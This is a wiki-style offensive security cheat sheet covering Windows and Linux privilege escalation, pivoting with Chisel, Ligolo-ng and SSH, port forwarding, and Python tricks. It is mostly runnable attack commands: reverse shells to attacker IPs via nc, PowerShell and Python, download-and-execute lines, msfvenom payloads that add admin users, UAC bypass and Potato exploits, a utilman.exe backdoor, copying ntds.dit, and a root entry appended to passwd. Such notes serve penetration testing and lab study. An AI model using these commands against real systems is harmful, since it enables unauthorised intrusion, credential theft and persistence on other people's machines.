| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default
|-
| for/while loop
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.
|}

----

== Privilege Escalation ==

=== Windows ===

==== Admin Account Credentials ====

[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]

<syntaxhighlight lang="bash">
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas
runas /profile /user:Administrator "nc.exe -e cmd 192.168.49.169 443"
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method is if the shell is non-interactive is to use a powershell script.
# Save this on your Kali and start a HTTP.server.
$password = ConvertTo-SecureString "lab" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("Administrator", $password)
Start-Process -Credential $credential -FilePath "C:\Users\Offsec\Desktop\ProcessHollow.exe"
# Now on the shell you have, run this command.
iex(new-object net.webclient).downloadstring('http://192.168.45.198/test.ps1')
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method again is to RDP to the target if possible and Run As.
</syntaxhighlight>

==== AlwaysInstallElevated ====

If these two registers are enabled then users of any privilege can install '''.msi '''files as NT AUTHORITY\SYSTEM

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
# If 0x1 then its enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Msfvenom payload
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
# The above is better for persistence
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi > rev_shell.msi # Recommeded if not AD.
# Execute
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

----------------
# The above command will probably be detected by AV. You can compile your own .msi.
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated
PS C:\WiX Toolset v3.11\bin> .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)
-------------------------------------------
# You can also use MSI Wrapper.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper
------------------------------------------
# There is also a metasploit module, but it needs a bit tweaking
exploit/windows/local/always_install_elevated
# In the multi handler do the following
set DisablePayloadHandler true - # Disable built-in listener
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload
run -j -z - # Background listener
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
msf6 exploit(windows/local/always_install_elevated) > set VERBOSE true
msf6 exploit(windows/local/always_install_elevated) > set payload windows/exec
msf6 exploit(windows/local/always_install_elevated) > set session 1
# The encoded powershell command do 'whoami > C:\whoami.txt' to verify that it works
msf6 exploit(windows/local/always_install_elevated) > set cmd 'powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA='
msf6 exploit(windows/local/always_install_elevated) > run
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run
msf6 exploit(windows/local/always_install_elevated) > set cmd 'C:\proc_hol.exe'
msf6 exploit(windows/local/always_install_elevated) > run
# You should get a callback to your meterpreter listener.
</syntaxhighlight>

[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]

==== BarracudaDrive 6.5 ====

<syntaxhighlight lang="bash">
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html
</syntaxhighlight>

==== Bypass UAC ====

[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]

<syntaxhighlight lang="bash">
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy Level shell, we might bypass uac.
# Notice the last line, "Mandatory Label\Medium Mandatory Level"
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

# Next check if UAC is enabled
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
# We then have to find a binary that have "autoElevate" set to true.
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate
true
# Then we have to generate a payload using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe > shell.exe
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c
# Compile the above code
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe
# Transfer the binary to target and execute
.\eventvwr-bypassuac-64.exe
# Check your listener and then run "whoami /groups" again and check last line.
Mandatory Label\High Mandatory Level Label S-1-16-12288
# This means you can run elevated commands. Dumping hashes etc.
</syntaxhighlight>

==== CVE ====

===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====

<syntaxhighlight lang="bash">
# https://github.com/apt69/COMahawk
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka 'Windows UPnP Service Elevation of Privilege Vulnerability'.
# Method 1
.\COMahawk64.exe
[\] Progress: 1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.
# Method 2
.\COMahawk64.exe "C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443"
</syntaxhighlight>

==== HiveNightmare ====

<syntaxhighlight lang="bash">
# https://github.com/GossiTheDog/HiveNightmare
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).

</syntaxhighlight>

==== LAPS ====

<syntaxhighlight lang="bash">
# If we have valid creds for LDAP we can query LDAP for the local admin password.
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -h 192.168.120.108 "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory.
</syntaxhighlight>

==== Potatos (SeimpersonatePrivilege) ====

[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]

* If the machine is >= Windows 10 1809 & Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]

* If the machine is < Windows 10 1809 < Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]

===== Finding CLSID =====

[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]

<syntaxhighlight lang="powershell">
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
}
</syntaxhighlight>

===== Hot Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/foxglovesec/Potato
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
</syntaxhighlight>

===== Rotten Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/breenmachine/RottenPotatoNG
After having a meterpreter shell with incognito mode loaded:
MSFRottenPotato.exe t c:\windows\temp\test.bat
</syntaxhighlight>

===== Lonely Potato =====

<syntaxhighlight lang="bash">
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.
https://github.com/decoder-it/lonelypotato
</syntaxhighlight>

===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====

<syntaxhighlight lang="bash">
# Download repository
https://github.com/ohpe/juicy-potato
https://github.com/antonioCoco/JuicyPotatoNG
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe
</syntaxhighlight>

===== Rogue Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/antonioCoco/RoguePotato
# Run in your machine the socat redirection (replace VICTIM_IP):
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# Execute PoC (replace YOUR_IP and command):
.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999
</syntaxhighlight>

===== GodPotato =====

[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]

Enables privilege escalation in Windows 2012 - Windows 2022

<syntaxhighlight lang="bash">
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
</syntaxhighlight>

===== SharpEfsPotato =====

[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]

<syntaxhighlight lang="bash">
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
</syntaxhighlight>

===== PrintSpoofer =====

[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]

<syntaxhighlight lang="bash">
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:
PrintSpoofer.exe -i -c cmd
</syntaxhighlight>

==== Se-privileges ====

===== Great list and explanation =====

[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]

<syntaxhighlight lang="bash">
# This ppt will explain how to exploit different SePrivileges
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
</syntaxhighlight>

===== SeManageVolume =====

<syntaxhighlight lang="bash">
https://github.com/xct/SeManageVolumeAbuse
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume
</syntaxhighlight>

===== SeLoadDriverPrivilege =====

<syntaxhighlight lang="bash">
# See writeup for PG Fuse
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System
</syntaxhighlight>

===== SeRestorePrivilege =====

<syntaxhighlight lang="bash">
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.
# See PG Heist writeup
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.
# Example of ways to escalate privilege
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Now RDP to target without logging in. Then press win+u
rdesktop 192.168.153.165
</syntaxhighlight>

[[File:2022-11-image-2.png|thumb]]

===== SeBackupPrivilege =====

<syntaxhighlight lang="bash">
# SeBackUpPrivilege basically allows for full system read.
# See if user is member of 'Backup Operator'.
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
# https://github.com/giuliano108/SeBackupPrivilege
# Example 1
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works

Directory: E:\V_BASE

Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 18/07/2013 13:04 Private
PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir

Directory: E:\V_BASE\Private

Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 05/07/2013 12:29 306435 report.pdf
PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes
PS E:\V_BASE\Private>

-------------------
# Example 2
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
</syntaxhighlight>

===== SeCreateTokenPrivilege =====

<syntaxhighlight lang="bash">
# https://www.greyhathacker.net/?p=1025
Try running it many times
</syntaxhighlight>

==== SMBGhost ====

<syntaxhighlight lang="bash">
# CVE-2020-0796
# https://github.com/danigargu/CVE-2020-0796
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp
# Compile it. Change 'debug' to 'release', set correct architecture.
# Transfer to target
.\cve-2020-0796.exe
</syntaxhighlight>

==== Software ====

===== Iperius Backup 6.1.0 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/46863
</syntaxhighlight>

===== SystemScheduler =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/45072
</syntaxhighlight>

==== Unquoted Service Path ====

<syntaxhighlight lang="bash">
# In order to exploit Unquoted service path we have to:
# - Be able to write to the target folder - Use icacls
# - Be able to restart the service or machine
# Exmaple (10.1.1.89)
icacls enterprisesystemmanager.exe # We have modify permissions
# Generate a payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe > enterprisesystemmanager.exe
# Move original .exe to .bak
move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager
certutil -urlcache -split -f "http://192.168.119.130/enterprisesystemmanager.exe"
# Catche the connection
rlwrap nc -lvnp 443 1 ⨯
listening on [any] 443 ...
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
</syntaxhighlight>

==== Windows XP SP0/SP1 - UPNP service exploit ====

<syntaxhighlight lang="bash">
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html
# Requirenment: Obtained a low privilege shell on your victim's computer. Operating system is Windows XP with SP0 or SP1 installed.
# See write up for PWK 10.11.1.14.
</syntaxhighlight>

==== Windows Exploit Suggester ====

<syntaxhighlight lang="python">
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls
</syntaxhighlight>

==== Windows Kernel Exploit list ====

<syntaxhighlight lang="bash">
https://github.com/SecWiki/windows-kernel-exploits
</syntaxhighlight>

==== xampp 7.3 ====

<syntaxhighlight lang="bash">
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]
└─# cat exploit.ps1
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\Users\Mike\Downloads\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $fil
</syntaxhighlight>

=== Linux ===

==== CVE ====

===== CVE-2009-2698 (Centos 4.8) =====

<syntaxhighlight lang="bash">
https://github.com/xiaoxiaoleo/CVE-2009-2698
</syntaxhighlight>

===== CVE-2021-4034 (polkit) =====

<syntaxhighlight lang="bash">
# https://github.com/joeammond/CVE-2021-4034
# Check suid and see if /usr/bin/pkexec is present and python
# Then compile and run
</syntaxhighlight>

===== CVE-2023–22809 (bypass sudo) =====

<syntaxhighlight lang="bash">
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

</syntaxhighlight>

==== Fail2ban ====

<syntaxhighlight lang="bash">
# See PG Fail writeup
# Example reverse shell
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
#actionban = -I f2b- 1 -s -j
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999
</syntaxhighlight>

==== Linux Kernel exploits ====

<syntaxhighlight lang="bash">
# Linux versions
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
https://www.exploit-db.com/exploits/15285
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4)
https://www.exploit-db.com/exploits/44298
# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)
https://www.exploit-db.com/exploits/45010
</syntaxhighlight>

==== Copy Fail - CVE-2026-31431 ====
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

==== Dirty Frag: Universal Linux LPE ====
<syntaxhighlight lang="bash">
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
</syntaxhighlight>

==== ld_reload - Dynamic library hijacking ====

<syntaxhighlight lang="bash">
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one
# List Dynamic Dependencies = ldd
# Ldd is a powerful command-line tool that allows users to view an executable file's shared object dependencies.
ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffe11833000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f6ce440c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)
# Generate .so payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so > utils.so
</syntaxhighlight>

==== SUID ====

<syntaxhighlight lang="bash">
find / -perm -u=s -type f 2>/dev/null
</syntaxhighlight>

==== Setuid Screen 4.5.0 ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/41154
</syntaxhighlight>

==== Sudo ====

[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]

[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]

==== Systemctl (Misconfigured Permissions — sudo/SUID) ====

[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]

[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]

==== Sudo permission to run apache restart ====

<syntaxhighlight lang="bash">
# If your user have these permissions
(root) NOPASSWD: /usr/sbin/service apache2 restart
# First check what file you have write permission to.
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.
# Example
# envvars in /etc/apache2 is writeable.
# Change to another user if there are any on the machine
export APACHE_RUN_USER=DifferentUser
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.
</syntaxhighlight>

==== Software ====

===== Exim 4.84-3 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/39535
# If error, fix with
sed -i -e 's/\r$//' 39535.sh
</syntaxhighlight>

===== OpenSMTPD 6.4.0 < 6.6.1 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/48051
</syntaxhighlight>

==== Writeable passwd ====

<syntaxhighlight lang="bash">
# Generate hashed password
openssl passwd -1 -salt aghanim pass123
# Add to passwd on target
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash
</syntaxhighlight>

----

== Pivoting/tunneling technique ==

[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]

[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]

[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]

=== Chisel ===

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.

# Using SOCKS5 with chisel
./chisel server -v -p 8000 --socks5
# On the client/target/victim machine
chisel.exe client -v attacker.com:8000 socks
</syntaxhighlight>

=== Ligolo-ng ===

[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]

<syntaxhighlight lang="bash">
#### LINUX
# Prepare tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy on kali
./proxy -laddr 192.168.45.195:53 -selfcert
# On target
./agent -connect 192.168.45.195:53 -ignore-cert
# See session in ligolo proxy
ligolo-ng» session
# Add pivot to internal network on kali
sudo ip r add 172.16.213.0/24 dev ligolo
# Check ip route
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
172.16.213.0/24 dev ligolo scope link
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195
192.168.213.0/24 via 192.168.45.254 dev tun0

# In ligolo - in correct session
[Agent: user@target] » start
</syntaxhighlight>

<syntaxhighlight lang="bash">
#### WINDOWS
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:
# Download Ligolo-ng Proxy:
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.
# Install Wintun Driver:
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.
# Download the appropriate wintun.dll from the Wintun repository.
# Place the wintun.dll file in the same directory as proxy.exe.
# Run the Proxy:
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.
# Execute the proxy with a self-signed certificate:
proxy.exe -selfcert
# This command starts the proxy server with a self-signed TLS certificate.
# Configure the Agent:
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:
agent.exe -connect :11601 -ignore-cert
# Replace with the actual IP address of your proxy machine.
# Manage Sessions:
# In the proxy's command interface, use the session command to list active sessions.
# Select the desired session to interact with the connected agent.
# Start Tunneling:
# Within the selected session, initiate the tunnel:
tunnel_start --tun
# Replace with your chosen name for the TUN interface.
# Set Up Routing:
# Determine the network configuration of the agent using the ifconfig command within the session.
# On your Windows proxy machine, add routes to access the target network:
route add mask
# Replace , , and with the appropriate values based on the agent's network configuration.

</syntaxhighlight>

=== meterpreter ===

<syntaxhighlight lang="bash">
# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute
set SUBNET 192.72.180.0
set SESSION 2
exploit
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050
exploit
# Now you can use proxychains
# DISCOVER OTHER HOSTS ON THE NETWORK
# On windows you can use post/windows/gather/arp_scanner to discover other machines
# On Linux you can try arp -a
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
ssh -D 1337 user@172.16.0.5 -fN
# Now use proxychains
# If you want to nmap without proxychains
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080
</syntaxhighlight>

=== sshuttle ===

<syntaxhighlight lang="bash">
# Synopsis
sshuttle [options] -r [username@]sshserver[:port]
# Example
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24
</syntaxhighlight>

----

== Port Forwarding techniques ==

<syntaxhighlight lang="bash">
# Windows
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS
# Metasploit
portfwd add -l 9090 -p 9090 -r TARGETIP
# Reverse ssh tunnel, port forwarding 8090 from target to us:
ssh -R 8090:localhost:8090 user@ip
# Local port forward, forward local 8090 to target:
ssh -L 8090:localhost:8090 user@ip
# Chisel
# Example: forward port 8888 to attacker using chisel
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
# Synopsis
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host
# Example
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100
</syntaxhighlight>

=== Chisel ===

Example: forward port 8888 to attacker using chisel

<syntaxhighlight lang="bash">
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

----

== Python ==

=== Decompile ===

<syntaxhighlight lang="python">
# https://github.com/rocky/python-decompile3
# Translate python bytecode to python source code.
$ python pyinstxtractor.py
# Decompile .pyc
# https://github.com/zrax/pycdc
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
python pycdc C:\Users\Bobby\example.pyc
</syntaxhighlight>

=== Load module ===

<syntaxhighlight lang="bash">
# If a python script tries to load a module which does not exist, we can place our own module. # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
# Add a python reverse shell into the file
echo 'import os,pty,socket;s=socket.socket();s.connect(("192.168.49.165",22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > module.py
</syntaxhighlight>

=== PDB (Python Debugger ===

[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]

<syntaxhighlight lang="python">
# Add import pdb
import pdb
# In script, before an error message, add
pdb.set_trace()
# Example
-> url = url.group(1)
(Pdb) print url.group(1)
http://swagshop.htb/index.php/admin/das[...]
(Pdb) continue
</syntaxhighlight>

=== Python Extractor ===

<syntaxhighlight lang="python">
# https://github.com/extremecoders-re/pyinstxtractor
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell
Python3 pyinstxtractor.py
</syntaxhighlight>

=== Simple HTTP Server ===

<syntaxhighlight lang="bash">
$python -m SimpleHTTPServer
$python -m http.server
</syntaxhighlight>

----

== Symbolic Link (Windows) ==

<syntaxhighlight lang="bash">
